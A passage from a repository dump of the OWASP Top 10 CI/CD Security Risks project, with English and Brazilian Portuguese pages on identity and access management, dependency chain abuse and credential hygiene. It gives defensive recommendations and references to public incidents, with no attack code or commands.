[CICD-SEC-8](https://github.com/erickrazr/www-project-top-10-ci-cd-security-risks/blob/main/CICD-SEC-08-Uso-nao-controlado-de-servicos-de-terceiros-PT-BR.md): Uso não controlado de serviços de terceiros 63 | 64 | [CICD-SEC-9](https://github.com/erickrazr/www-project-top-10-ci-cd-security-risks/blob/main/CICD-SEC-09-Validacao-de-integridade-de-artefatos-improprias-PT-BR.md): Validação de integridade de artefatos impróprias 65 | 66 | [CICD-SEC-10](https://github.com/erickrazr/www-project-top-10-ci-cd-security-risks/blob/main/CICD-SEC-10-Visibilidade-e-Logs-Insuficientes-PT-BR.md): Visibilidade e Logs Insuficientes 67 | 68 | 69 | # A Iniciativa "Top 10 CI/CD Security Risks" 70 | 71 | Este documento ajuda os defensores a identificar áreas de foco para proteger seu ecossistema de CI/CD. É o resultado de uma extensa pesquisa sobre vetores de ataque associados a CI/CD e da análise de violações de alto perfil e falhas de segurança. 72 | 73 | Inúmeros especialistas da área em vários setores e disciplinas se reuniram para colaborar neste documento para garantir sua relevância para o cenário atual de ameaças, superfície de risco e os desafios que os defensores enfrentam ao lidar com esses riscos. 74 | 75 | 76 | ## Disclaimer 77 | 78 | O texto original é a versão em inglês do site: https://github.com/OWASP/www-project-top-10-ci-cd-security-risks . Quaisquer discrepâncias ou diferenças criadas na tradução não são vinculativas e não têm efeito legal para fins de conformidade. 79 | 80 | A precisão do texto traduzido não é garantida. Qualquer pessoa que confie nas informações obtidas através desta tradução o faz por sua própria conta e risco. O @erickrazr se isenta e não aceitará qualquer responsabilidade por danos ou perdas de qualquer tipo causados pelo uso da documentação traduzida. Onde houver alguma dúvida, a versão em inglês é sempre a versão oficial do site: https://github.com/OWASP/www-project-top-10-ci-cd-security-risks 81 | -------------------------------------------------------------------------------- /English Version/CICD-SEC-06-Insufficient-Credential-Hygiene.md: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | layout: col-sidebar 4 | title: "CICD-SEC-6: Insufficient Credential Hygiene" 5 | 6 | --- 7 | ## Definition 8 | 9 | 10 | Insufficient credential hygiene risks deal with an attacker’s ability to obtain and use various secrets and tokens spread throughout the pipeline due to flaws having to do with access controls around the credentials, insecure secret management and overly permissive credentials. 11 | 12 | 13 | ## Description 14 | 15 | CI/CD environments are built of multiple systems communicating and authenticating against each other, creating great challenges around protecting credentials due to the large variety of contexts in which credentials can exist. 16 | 17 | Application credentials are used by the application at runtime, credentials to production systems are used by pipelines to deploy infrastructure, artifacts and apps to production, engineers use credentials as part of their testing environments and within their code and artifacts. 18 | 19 | This variety of contexts, paired with the large amount of methods and techniques for storing and using them, creates a large potential for insecure usage of credentials. Some major flaws that affect credential hygiene: 20 | 21 | 22 | 23 | * **Code containing credentials being pushed to one of the branches of an SCM repository:** This can be either by mistake - without noticing the existence of the secret in the code, or deliberately - without understanding the risk of doing that. From that moment on, the credentials are exposed to anyone with read access to the repository, and even if deleted from the branch it was pushed into - they continue to appear in the commit history, available to be viewed by anyone with repository access. 24 | * **Credentials used insecurely inside the build and deployment processes:** These credentials are used to access code repositories, read from and write to artifact repositories, and deploy resources and artifacts to production environments. Given the large amount of pipelines and target systems they need access to, it’s imperative to understand - 25 | * In which context, and using which method, is each set of credentials used? 26 | * Can each pipeline access only the credentials it needs to fulfill its purpose? 27 | * Can credentials be accessed by unreviewed code flowing through the pipeline? 28 | * How are these credentials called and injected to the build? Are these credentials accessible only in run-time, and only from the contexts where they are required? 29 | * **Credentials in container image layers:** Credentials that were only required for building the image, still exist in one of the image layers - available to anyone who is able to download the image. 30 | * **Credentials printed to console output:** Credentials used in pipelines are often printed to the console output, deliberately or inadvertently. This might leave credentials exposed in clear-text in logs, available to anyone with access to the build results to view. These logs can potentially flow to log management systems, expanding their exposure surface. 31 | * **Unrotated credentials:** Since the credentials are spread all over the engineering ecosystem, they are exposed to a large number of employees and contractors. Failing to rotate credentials results in a constantly growing amount of people and artifacts that are in possession of valid credentials. This is especially true for credentials used by pipelines - for example deploy keys - which are oftentimes managed using the “If it isn’t broken, don’t fix it” directive - which leaves valid credentials unrotated for many years. 32 | 33 | 34 | ## Impact 35 | 36 | Credentials are the most sought-after object by adversaries, seeking to use them for accessing high-value resources or for deploying malicious code and artifacts. In this context, engineering environments provide attackers with multiple avenues to obtain credentials. The large potential for human error, paired with knowledge gaps around secure credentials management and the concern of breaking processes due to credential rotation, put the high-value resources of many organizations at the risk of compromise due the exposure of their credentials. 37 | 38 | 39 | ## Recommendations 40 | 41 | 42 | 43 | * Establish procedures to continuously map credentials found across the different systems in the engineering ecosystem - from code to deployment. Ensure each set of credentials follows the principle of least privilege and has been granted the exact set of permission needed by the service using it. 44 | * Avoid sharing the same set of credentials across multiple contexts. This increases the complexity of achieving the principle of least privilege as well as having a negative effect on accountability. 45 | * Prefer using temporary credentials over static credentials. In case static credentials need to be in use - establish a procedure to periodically rotate all static credentials and detect stale credentials. 46 | * Configure usage of credentials to be limited to predetermined conditions (like scoping to a specific source IP or identity) to ensure that even in case of compromise, exfiltrated credentials cannot be used outside your environment. 47 | * Detect secrets pushed to and stored on code repositories. Use controls such as an IDE plugin to identify secrets used in the local changes, automatic scanning upon each code push, and periodical scans on the repository and its past commits. 48 | * Ensure secrets that are used in CI/CD systems are scoped in a manner that allows each pipeline and step to have access to only the secrets it requires. 49 | * Use built-in vendor options or 3rd party tools to prevent secrets from being printed to console outputs of future builds. Ensure all existing outputs do not contain secrets. 50 | * Verify that secrets are removed from any type of artifact, such as from layers of container images, binaries, or Helm charts. 51 | 52 | 53 | ## References 54 | 55 | 56 | 57 | 1. Thousands of credentials, stored as environment variables, were stolen by attackers through compromising Codecov, a popular code coverage tool used in the CI. 58 | 59 | [https://about.codecov.io/security-update/](https://about.codecov.io/security-update/) 60 | 61 | 2. Travis CI injected secure environment variables of public repositories into pull request builds, causing them to be susceptible to compromise by anonymous users issuing pull requests against public repositories. 62 | 63 | [https://travis-ci.community/t/security-bulletin/12081](https://travis-ci.community/t/security-bulletin/12081) 64 | 65 | 3. An attacker compromised the TeamCity Build server of Stack Overflow and was able to steal secrets due to their insecure storage method. 66 | 67 | [https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/](https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/) 68 | 69 | 4. Samsung exposed overly permissive secrets in public GitLab repositories. 70 | 71 | [https://techcrunch.com/2019/05/08/samsung-source-code-leak/](https://techcrunch.com/2019/05/08/samsung-source-code-leak/) 72 | 73 | 5. Attackers accessed Uber’s private GitHub repositories that contained permissive and shared AWS tokens, leading to data exfiltration of millions of drivers and passengers. [https://www.ftc.gov/system/files/documents/federal_register_notices/2018/04/152_3054_uber_revised_consent_analysis_pub_frn.pdf](https://www.ftc.gov/system/files/documents/federal_register_notices/2018/04/152_3054_uber_revised_consent_analysis_pub_frn.pdf) 74 | 6. Gaining write access to Homebrew, by Eric Holmes. The Homebrew Jenkins instance revealed environment variables of executed builds, including a GitHub token which allowed an attacker to make malicious changes to the Homebrew project itself. 75 | 76 | [https://medium.com/@vesirin/how-i-gained-commit-access-to-homebrew-in-30-minutes-2ae314df03ab](https://medium.com/@vesirin/how-i-gained-commit-access-to-homebrew-in-30-minutes-2ae314df03ab) 77 | -------------------------------------------------------------------------------- /English Version/CICD-SEC-02-Inadequate-Identity-And-Access-Management.md: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | layout: col-sidebar 4 | title: "CICD-SEC-2: Inadequate Identity and Access Management" 5 | 6 | --- 7 | ## Definition 8 | 9 | 10 | Inadequate Identity and Access Management risks stem from the difficulties in managing the vast amount of identities spread across the different systems in the engineering ecosystem, from source control to deployment. The existence of poorly managed identities - both human and programmatic accounts - increases the potential and the extent of damage of their compromise. 11 | 12 | 13 | ## Description 14 | 15 | Software delivery processes consist of multiple systems connected together with the aim of moving code and artifacts from development to production. Each system provides multiple methods of access and integration (username & password, personal access token, marketplace application, oauth applications, plugins, SSH keys). The different types of accounts and method of access can potentially have their own unique provisioning method, set of security policies and authorization model. This complexity creates challenges in managing the different identities throughout the entire identity lifecycle and ensuring their permissions are aligned with the principle of least privilege. 16 | 17 | Furthermore, in a typical environment, the average user account of an SCM or CI is highly permissive, as these systems have not traditionally been a major focus area for security teams. These identities are mostly used by engineers that require the flexibility to be able to create major changes in code and infrastructure. 18 | 19 | Some of the major concerns and challenges around identity and access management within the CI/CD ecosystem include: 20 | 21 | 22 | 23 | * **Overly permissive identities** - Maintaining the principle of least privilege for both applicative and humac accounts. For example, in SCMs - Ensuring each human and applicative identity has been granted only the permissions required and only against the actual repositories it needs to access is not trivial. 24 | * **Stale identities** - Employees/Systems that are not active and/or no longer require access but have not had their human and programmatic account against all CI/CD systems deprovisioned. 25 | * **Local identities** - Systems which do not have their access federated with a centralized IDP, creating identities that are managed locally within the system in question. Local accounts create challenges in enforcing consistent security policies (e.g. password policy, lockout policy, MFA) as well as properly deprovisioning access across all systems (for example, when an employee leaves the organization). 26 | * **External identities** - 27 | * Employees registered with an email address from a domain not owned or managed by the organization - In this scenario, the security of these accounts is highly dependent on the security of the external accounts they are assigned to. Since these accounts are not managed by the organization, they are not necessarily compliant with the organization's security policy. 28 | * External collaborators - Once access is granted to external collaborators to a system, the security level of the system is derived from the level of the external collaborator’s work environment, outside of the organization’s control. 29 | * **Self-registered identities** - In systems where self-registration is allowed, it is often the case that a valid domain address is the only prerequisite for self-registration and access to CI/CD systems. Usage of default/base set of permissions to a system which is anything different than “none” significantly expands the potential attack surface. 30 | * **Shared identities** - Identities shared between human users / applications / both humans and applications increase the footprint of their credentials as well as create challenges having to do with accountability in case of a potential investigation. 31 | 32 | 33 | ## Impact 34 | 35 | The existence of hundreds (or sometimes thousands) of identities - both human and programmatic - across the CI/CD ecosystem, paired with a lack of strong identity and access management practices and common usage of overly permissive accounts, leads to a state where compromising nearly any user account on any system, could grant powerful capabilities to the environment, and could serve as a segway into the production environment. 36 | 37 | 38 | ## Recommendations 39 | 40 | 41 | 42 | * Conduct a continuous analysis and mapping of all identities across all systems within the engineering ecosystem. For each identity, map the identity provider, level of permissions granted and level of permissions actually used. Ensure all methods of programmatic access are covered within the analysis. 43 | * Remove permissions not necessary for the ongoing work of each identity across the different systems in the environment. 44 | * Determine an acceptable period for disabling/removing stale accounts and disable/remove any identity which has surpassed the predetermined period of inactivity. 45 | * Avoid creating local user accounts. Instead, create and manage identities using a centralized organization component (IdP). Whenever local user accounts are in use, ensure that accounts which no longer require access are disabled/removed and that security policies around all existing accounts match the organization’s policies. 46 | * Continuously map all external collaborators and ensure their identities are aligned with the principle of least privilege. Whenever possible, grant permissions with a predetermined expiry date - for both human and programmatic accounts - and disable their account once the work is done. 47 | * Prevent employees from using their personal email addresses, or any address which belongs to a domain not owned and managed by the organization, against the SCM, CI, or any other CI/CD platform. Continuously monitor for non-domain addresses across the different systems and remove non-compliant users. 48 | * Refrain from allowing users to self-register to systems, and grant permission on an as-needed basis. 49 | * Refrain from granting base permissions in a system to all users, and to large groups where user accounts are automatically assigned to. 50 | * Avoid using shared accounts. Create dedicated accounts for each specific context, and grant the exact set of permissions required for the context in question. 51 | 52 | 53 | ## References 54 | 55 | 56 | 57 | 1. The Stack Overflow TeamCity build server compromise - The attacker was able to escalate their privileges in the environment due to the fact the newly registered accounts were assigned administrative privileges upon access to the system. 58 | 59 | [https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/](https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/) 60 | 61 | 2. Mercedes Benz source code leaked after a self-maintained internet-facing GitLab server was available for access by self-registration. 62 | 63 | [https://www.zdnet.com/article/mercedes-benz-onboard-logic-unit-olu-source-code-leaks-online/](https://www.zdnet.com/article/mercedes-benz-onboard-logic-unit-olu-source-code-leaks-online/) 64 | 65 | 3. A self-managed GitLab server of the New York state government was exposed to the internet, allowing anyone to self-register and log in to the system, which stored sensitive secrets. 66 | 67 | [https://techcrunch.com/2021/06/24/an-internal-code-repo-used-by-new-york-states-it-office-was-exposed-online/](https://techcrunch.com/2021/06/24/an-internal-code-repo-used-by-new-york-states-it-office-was-exposed-online/) 68 | 69 | 4. Malware added to the Gentoo Linux distribution source code, after the GitHub account password of a project maintainer was compromised. 70 | 71 | [https://wiki.gentoo.org/wiki/Project:Infrastructure/Incident_Reports/2018-06-28_Github](https://wiki.gentoo.org/wiki/Project:Infrastructure/Incident_Reports/2018-06-28_Github) 72 | -------------------------------------------------------------------------------- /English Version/CICD-SEC-03-Dependency-Chain-Abuse.md: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | layout: col-sidebar 4 | title: "CICD-SEC-3: Dependency Chain Abuse" 5 | 6 | --- 7 | ## Definition 8 | 9 | 10 | Dependency chain abuse risks refer to an attacker’s ability to abuse flaws relating to how engineering workstations and build environments fetch code dependencies. Dependency chain abuse results in a malicious package inadvertently being fetched and executed locally when pulled. 11 | 12 | 13 | ## Description 14 | 15 | 16 | Managing dependencies and external packages used by self written code is becoming increasingly complex given the total number of systems involved in the process across all development contexts in an organization. Packages are oftentimes fetched using a dedicated client per programming language, typically from a combination of self-managed package repositories (e.g. Jfrog Artifactory) and language specific SaaS repositories (for example - Node.js has npm and the npm registry, Python’s pip uses PyPI, and Ruby’s gems uses RubyGems). 17 | 18 | Many organizations go to great lengths to detect usage of packages with known vulnerabilities and conduct static analysis of both self-written and 3rd party code. However, in the context of using dependencies, there is an equally important set of controls required to secure the dependency ecosystem - involving securing the process defining how dependencies are pulled. Inadequate configurations may cause an unsuspecting engineer, or worse - the build system, to download a malicious package instead of the package that was intended to be pulled. In many cases, the package is not only downloaded, but also immediately executed after download, due to pre-install scripts and similar processes which are designed to run a package’s code immediately after the package is pulled. 19 | 20 | The main attack vectors in this context are: 21 | 22 | 23 | 24 | * Dependency confusion - Publication of malicious packages in public repositories with the same name as internal package names, in an attempt to trick clients into downloading the malicious package rather than the private one. 25 | * Dependency hijacking - Obtaining control of the account of a package maintainer on the public repository, in order to upload a new, malicious version of a widely used package, with the intent of compromising unsuspecting clients who pull the latest version of the package. 26 | * Typosquatting - Publication of malicious packages with similar names to those of popular packages in the hope that a developer will misspell a package name and unintentionally fetch the typosquatted package. 27 | * Brandjacking - Publication of malicious packages in a manner that is consistent with the naming convention or other characteristics of a specific brand’s package, in an attempt to get unsuspecting developers to fetch these packages due to falsely associating them with the trusted brand. 28 | 29 | 30 | ## Impact 31 | 32 | The objective of adversaries which upload packages to public package repositories using one of the aforementioned techniques is to execute malicious code on a host pulling the package. This could either be a developer’s workstation, or a build server pulling the package. 33 | 34 | Once the malicious code is running, it can be leveraged for credentials theft and lateral movement within the environment it is executed in. 35 | 36 | Another potential scenario is for the attacker’s malicious code to make its way to production environments from the build server. In many cases the malicious package would continue to also maintain the original, safe functionality the user was expecting, resulting in a lower probability of discovery. 37 | 38 | 39 | ## Recommendations 40 | 41 | There is a wide range of mitigation methods which are specific to the configuration of the different language-specific clients and the way internal proxies and external package repositories are used. 42 | 43 | That said, all recommended controls share the same guiding principles - 44 | 45 | 46 | 47 | * Any client pulling code packages should not be allowed to fetch packages directly from the internet or untrusted sources. Instead, the following controls should be implemented: 48 | * Whenever 3rd party packages are pulled from an external repository, ensure all packages are pulled through an internal proxy rather than directly from the internet. This allows deploying additional security controls at the proxy layer, as well as providing investigative capabilities around packages pulled - in case of a security incident. 49 | * Where applicable, disallow pulling of packages directly from external repositories. Configure all clients to pull packages from internal repositories, containing pre-vetted packages, and establish a mechanism to verify and enforce this client configuration. 50 | * Enable checksum verification and signature verification for pulled packages. 51 | * Avoid configuring clients to pull the latest version of a package. Prefer configuring a pre-vetted version or version ranges. Use the framework specific techniques to continuously “lock” the package version required in your organization to a stable and secure version. 52 | * Scopes: 53 | * Ensure all private packages are registered under the organization’s scope. 54 | * Ensure all code referencing a private package uses the package’s scope. 55 | * Ensure clients are forced to fetch packages that are under your organization’s scope solely from your internal registry. 56 | * When installation scripts are being executed as part of the package installation, ensure that a separate context exists for those scripts, which does not have access to secrets and other sensitive resources available in other stages in the build process. 57 | * Ensure that internal projects always contain configuration files of package managers (for example .npmrc in NPM) within the code repository of the project, to override any insecure configuration potentially existing on a client fetching the package. 58 | * Avoid publishing names of internal projects in public repositories. 59 | * As a general rule, given the amount of package managers and configurations in use simultaneously, complete prevention of 3rd party chain abuse is far from trivial. It is therefore recommended to ensure that an appropriate level of focus is placed around detection, monitoring and mitigation to ensure that in case of an incident, it is identified as quickly as possible and has the minimal amount of potential damage. In this context, all relevant systems should be hardened properly according to the guidelines under the “CICD-SEC-7: Insecure System Configuration” risk. 60 | 61 | 62 | ## References 63 | 64 | 65 | 66 | 1. Dependency Confusion, by [Alex Birsan](https://twitter.com/alxbrsn). An attack vector that tricks package managers and proxies into fetching a malicious package from a public repository instead of the intended package of the same name from an internal repository. 67 | 68 | [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) 69 | 70 | 2. Amazon, Zillow, Lyft, and Slack NodeJS apps targeted by threat actors using the Dependency Confusion vulnerability. 71 | 72 | [https://www.bleepingcomputer.com/news/security/malicious-npm-packages-target-amazon-slack-with-new-dependency-attacks/](https://www.bleepingcomputer.com/news/security/malicious-npm-packages-target-amazon-slack-with-new-dependency-attacks/) 73 | 74 | 3. The _ua-parser-js_ NPM library, with 9 million downloads a week, was hijacked to launch cryptominers and steal credentials. 75 | 76 | [https://github.com/advisories/GHSA-pjwm-rvh2-c87w](https://github.com/advisories/GHSA-pjwm-rvh2-c87w) 77 | 78 | 4. The _coa_ NPM library, with 9 million downloads a week, was hijacked to steal credentials. 79 | 80 | [https://github.com/advisories/GHSA-73qr-pfmq-6rp8](https://github.com/advisories/GHSA-73qr-pfmq-6rp8) 81 | 82 | 5. The _rc_ NPM library, with 14 million downloads a week, was hijacked to steal credentials. 83 | 84 | [https://github.com/advisories/GHSA-g2q5-5433-rhrf](https://github.com/advisories/GHSA-g2q5-5433-rhrf) 85 | -------------------------------------------------------------------------------- /CICD-SEC-02-Gerenciamento-de-Identidade-e-Acessos-inadequado-PT-BR.md: -------------------------------------------------------------------------------- 1 | 2 | ## Definição 3 | 4 | 5 | Os riscos de gerenciamento de identidades e controle de acesso inadequados decorrem das dificuldades em gerenciar a grande quantidade de identidades espalhadas pelos diferentes sistemas no ecossistema de desenvolvimento, desde o controle do código até a implantação. A existência de identidades mal geridas - tanto as contas humanas quanto as programáticas - aumenta o potencial e a extensão dos danos quando comprometidas. 6 | 7 | 8 | ## Descrição 9 | 10 | Os processos de entrega de software consistem em vários sistemas conectados entre si com o objetivo de mover o código e os artefatos do desenvolvimento para a produção. Cada sistema fornece multiplos métodos de acesso e de integração (nome de usuário e senha, token de acesso, aplicações de marketplace, aplicativos oauth, plugins, chaves SSH). Os diferentes tipos de contas e métodos de acesso podem ter seu próprio método de provisionamento exclusivo, conjunto de políticas de segurança e modelo de autorização. Essa complexidade cria desafios no gerenciamento de diferentes identidades ao longo de todo o ciclo de vida da identidade e na garantia de que suas permissões estejam alinhadas com o princípio do menor privilégio (Least privilege). 11 | 12 | Além disso, em um ambiente típico, a maioria das contas de usuário de um SCM ou CI é altamente permissiva, pois esses sistemas não são tradicionalmente uma área de foco importante para as equipes de segurança. Essas identidades são usadas principalmente por desenvolvedores que precisam de flexibilidade para criar grandes mudanças no código e na infraestrutura. 13 | 14 | Algumas das principais preocupações e desafios relacionados ao gerenciamento de identidade e acesso no ecossistema CI/CD incluem: 15 | 16 | 17 | 18 | * **Identidades excessivamente permissivas** - Manter o princípio do menor privilégio para contas humanas e de aplicacões. Por exemplo, em SCMs - Garantir que cada identidade humana e de aplicação tenha apenas as permissões necessárias somente nos repositórios que ela realmente precisa não é algo normalmente adotado. 19 | * **Identidades obsoletas** - Funcionários/sistemas que não estão ativos e/ou não necessitam mais do acesso, mas não tiveram sua conta humana e/ou programática em todos os sistemas CI/CD revogados. 20 | * **Identidades locais** - Sistemas que não possuem acesso federado com um IDP centralizado, criando identidades que são gerenciadas localmente dentro do sistema em questão. As contas locais criam desafios na aplicação de políticas de segurança consistentes (por exemplo, política de senha, política de bloqueio, MFA), bem como na revogação adequada do acesso em todos os sistemas (por exemplo, quando um funcionário sai da organização). 21 | * **Identidades Externas** - 22 | * Colaboradores cadastrados com endereço de email de um domínio que não pertence ou não é gerenciado pela organização - Nesse cenário, a segurança dessas contas é altamente dependente da segurança fornecida na solução ao qual as contas pertencem. Uma vez que essas contas não são gerenciadas pela empresa, elas não necessáriamente estão em conformidade com a política de segurança da empresa. 23 | * Colaboradores Externos - Uma vez que o acesso é concedido a colaboradores externos a um sistema, o nível de segurança do sistema é derivado do nível do ambiente de trabalho do colaborador externo, fora do controle da organização. 24 | * **Identidades autorregistradas** - Em sistemas onde o autorregistro é permitido, muitas vezes um endereço de domínio válido é o único pré-requisito para o autorregistro e acesso a sistemas de CI/CD. O uso do grupo de permissões padrão/base que seja diferente de "nada" expande significativamente a superfície de ataque. 25 | * **Identidades Compartilhadas** - Identidades compartilhadas entre usuários humanos / aplicações / tanto humanos quanto aplicações diminuem a rastreabilidade das atividades, bem como criam desafios relacionados à responsabilidade no caso de uma possível investigação. 26 | 27 | 28 | ## Impacto 29 | 30 | A existência de centenas (ou às vezes milhares) de identidades - tanto humanas quanto programáticas - em todo o ecossistema de CI/CD, combinada com a falta de identidade forte, práticas de gerenciamento de acesso e uso comum de contas excessivamente permissivas, leva a um estado onde o comprometimento de qualquer conta de usuário em qualquer sistema, possa dar acesso a recursos poderosos no ambiente e pode servir como um salto para o ambiente de produção. 31 | 32 | ## Recomendações 33 | 34 | 35 | 36 | * Realizar análise e mapeamento contínuos de todas as identidades em todos os sistemas dentro do ecossistema de desenvolvimento. Para cada identidade, mapeie o provedor de identidade, o nível de permissões concedidas e o nível de permissões realmente usado. Certifique-se de que todos os métodos de acesso programático sejam cobertos na análise. 37 | * Remover as permissões desnecessárias para o trabalho contínuo de cada identidade nos diferentes sistemas do ambiente. 38 | * Determine um período aceitável para desabilitar/remover contas desatualizadas e desabilitar/remover qualquer identidade que tenha ultrapassado o período predeterminado de inatividade. 39 | * Evitar criar contas de usuários locais. Em vez disso, crie e gerencie identidades usando um provedor de identidade centralizado (IdP). Sempre que contas de usuários locais estiverem em uso, certifique-se de que as contas que não deveriam ter mais acesso sejam desativadas/removidas e que as políticas de segurança de todas as contas existentes correspondam às políticas da organização. 40 | * Mapear continuamente todos os colaboradores externos e garantir que suas identidades estejam alinhadas com o princípio do menor privilégio. Sempre que possível, conceda permissões com uma data de expiração predeterminada - para contas humanas e programáticas - e desative a conta assim que o trabalho estiver concluído. 41 | * Impedir que os funcionários usem seus endereços de e-mail pessoais, ou qualquer endereço que pertença a um domínio não pertencente e/ou não gerenciado pela organização no SCM, CI ou qualquer outra plataforma de CI/CD. Monitore continuamente os endereços fora do domínio nos diferentes sistemas e remova os usuários não compatíveis. 42 | * Evite permitir que os usuários se autorregistrem nos sistemas e conceda permissão conforme necessário. 43 | * Evite conceder permissões base (Ex.: Operador, Administrador) em um sistema a todos os usuários e a grandes grupos aos quais as contas de usuário são atribuídas automaticamente. 44 | * Evite usar contas compartilhadas. Crie contas nomeadas para cada contexto específico e conceda o conjunto exato de permissões necessárias para o contexto em questão. 45 | 46 | 47 | ## Referências 48 | 49 | 50 | 51 | 1. The Stack Overflow TeamCity build server compromise - The attacker was able to escalate their privileges in the environment due to the fact the newly registered accounts were assigned administrative privileges upon access to the system. 52 | 53 | [https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/](https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/) 54 | 55 | 2. Mercedes Benz source code leaked after a self-maintained internet-facing GitLab server was available for access by self-registration. 56 | 57 | [https://www.zdnet.com/article/mercedes-benz-onboard-logic-unit-olu-source-code-leaks-online/](https://www.zdnet.com/article/mercedes-benz-onboard-logic-unit-olu-source-code-leaks-online/) 58 | 59 | 3. A self-managed GitLab server of the New York state government was exposed to the internet, allowing anyone to self-register and log in to the system, which stored sensitive secrets. 60 | 61 | [https://techcrunch.com/2021/06/24/an-internal-code-repo-used-by-new-york-states-it-office-was-exposed-online/](https://techcrunch.com/2021/06/24/an-internal-code-repo-used-by-new-york-states-it-office-was-exposed-online/) 62 | 63 | 4. Malware added to the Gentoo Linux distribution source code, after the GitHub account password of a project maintainer was compromised. 64 | 65 | [https://wiki.gentoo.org/wiki/Project:Infrastructure/Incident_Reports/2018-06-28_Github](https://wiki.gentoo.org/wiki/Project:Infrastructure/Incident_Reports/2018-06-28_Github) 66 | -------------------------------------------------------------------------------- /CICD-SEC-06-Gestao-de-Credenciais-Inadequadas-PT-BR.md: -------------------------------------------------------------------------------- 1 | 2 | ## Definição 3 | 4 | 5 | Os riscos de gestão de credenciais inadequadas lidam com a capacidade de um invasor obter e usar vários segredos e tokens espalhados pelo pipeline devido a falhas relacionadas a controles de acesso em torno das credenciais, gerenciamento inseguro de segredos e credenciais excessivamente permissivas. 6 | 7 | 8 | ## Descrição 9 | 10 | Os ambientes de CI/CD são construídos com vários sistemas se comunicando e autenticando entre si, criando grandes desafios em relação à proteção de credenciais devido à grande variedade de contextos em que as credenciais podem existir. 11 | 12 | Credenciais de aplicações são usadas pelo aplicação em tempo de execução, credenciais para sistemas de produção são usadas por pipelines para implantar infraestrutura, artefatos e aplicativos para produção, desenvolvedores usam credenciais como parte de seus ambientes de teste e dentro de seus códigos e artefatos. 13 | 14 | Essa variedade de contextos, aliada à grande quantidade de métodos e técnicas para armazená-los e utilizá-los, cria um grande potencial para uso inseguro de credenciais. Algumas falhas importantes que afetam a gestão da credencial: 15 | 16 | 17 | 18 | * **Código contendo credenciais sendo enviado para um dos branches de um repositório SCM:** Isso pode ser por engano - sem perceber a existência do segredo no código, ou deliberadamente - sem entender o risco de fazer isso. A partir desse momento, as credenciais são expostas a qualquer pessoa com acesso de leitura ao repositório e, mesmo que sejam excluídas da ramificação para a qual foram enviadas, elas continuam aparecendo no histórico de commits, disponíveis para visualização por qualquer pessoa com acesso ao repositório. 19 | * **Credenciais usadas de forma insegura nos processos de construção e implantação:** essas credenciais são usadas para acessar repositórios de código, ler e gravar em repositórios de artefatos e implantar recursos e artefatos em ambientes de produção. Dada a grande quantidade de pipelines e sistemas aos quais eles precisam acessar, é imperativo entender - 20 | * Em que contexto e usando qual método cada conjunto de credenciais é usado? 21 | * Cada pipeline pode acessar apenas as credenciais necessárias para cumprir sua finalidade? 22 | * As credenciais podem ser acessadas por código não revisado que flui pelo pipeline? 23 | * Como essas credenciais são chamadas e injetadas no build? Essas credenciais são acessíveis apenas em tempo de execução e apenas nos contextos em que são necessárias? 24 | * **Credenciais nos layers da imagem do contêiner:** As credenciais que eram necessárias apenas para criar a imagem ainda existem em um dos layers da imagem - disponíveis para qualquer pessoa que possa fazer o download da imagem. 25 | * **Credenciais exibidas nos logs:** As credenciais usadas em pipelines geralmente são exibidas na saída do log, deliberadamente ou inadvertidamente. Isso pode deixar as credenciais expostas em texto não criptografado nos logs, disponíveis para visualização por qualquer pessoa com acesso aos resultados do build. Esses logs podem potencialmente fluir para sistemas de gerenciamento de logs, expandindo sua superfície de exposição. 26 | * **Credenciais não rotativas:** como as credenciais estão espalhadas por todo o ecossistema de engenharia, elas são expostas a um grande número de funcionários e contratados. A falha na rotação de credenciais resulta em uma quantidade cada vez maior de pessoas e artefatos que possuem credenciais válidas. Isso é especialmente verdadeiro para credenciais usadas por pipelines - por exemplo, chaves de implantação - que geralmente são gerenciadas usando a diretiva "Se não estiver quebrado, não conserte" - o que deixa as credenciais válidas sem rotação por muitos anos. 27 | 28 | 29 | ## Impacto 30 | 31 | As credenciais são os objetos mais procurados pelos atacantes, que buscam usá-las para acessar recursos de alto valor ou para implantar códigos e artefatos maliciosos. Nesse contexto, os ambientes de desenvolvimento fornecem aos invasores vários caminhos para obter credenciais. O grande potencial de erro humano, juntamente com as lacunas de conhecimento em torno do gerenciamento seguro de credenciais e a preocupação de quebrar processos devido à rotação de credenciais, colocam os recursos de alto valor de muitas organizações em risco de comprometimento devido à exposição de suas credenciais. 32 | 33 | 34 | ## Recomendação 35 | 36 | 37 | 38 | * Estabeleça procedimentos para mapear continuamente as credenciais encontradas nos diferentes sistemas do ecossistema de desenvolvimento - do código à implantação. Certifique-se de que cada conjunto de credenciais siga o princípio do menor privilégio e tenha recebido o conjunto exato de permissões necessárias para o serviço que o utiliza. 39 | * Evite compartilhar o mesmo conjunto de credenciais em vários contextos. Isso aumenta a dificuyldade de seguir o princípio do menor privilégio, além de ter um efeito negativo na responsabilidade. 40 | * Prefira usar credenciais temporárias em vez de credenciais estáticas. Caso as credenciais estáticas precisem estar em uso - estabeleça um procedimento para alternar periodicamente todas as credenciais estáticas e detectar credenciais obsoletas. 41 | * Configure o uso de credenciais para ser limitado a condições predeterminadas (como escopo para um IP ou identidade de origem específica) para garantir que, mesmo em caso de comprometimento, as credenciais exfiltradas não possam ser usadas fora do seu ambiente. 42 | * Detecte segredos enviados e armazenados em repositórios de código. Use controles como um plug-in IDE para identificar os segredos usados nas alterações locais, verificação automática a cada push de código e verificações periódicas no repositório e em suas confirmações anteriores. 43 | * Certifique-se de que os segredos usados em sistemas de CI/CD tenham escopo definido de maneira a permitir que cada pipeline e etapa tenham acesso apenas aos segredos necessários. 44 | * Use as opções internas do fornecedor ou ferramentas de terceiros para evitar que os segredos sejam impressos nas saídas do console de compilações futuras. Certifique-se de que todas as saídas existentes não contenham segredos. 45 | * Verifique se os segredos foram removidos de qualquer tipo de artefato, como camadas de imagens de contêiner, binários ou gráficos do Helm. 46 | 47 | 48 | ## Referências 49 | 50 | 51 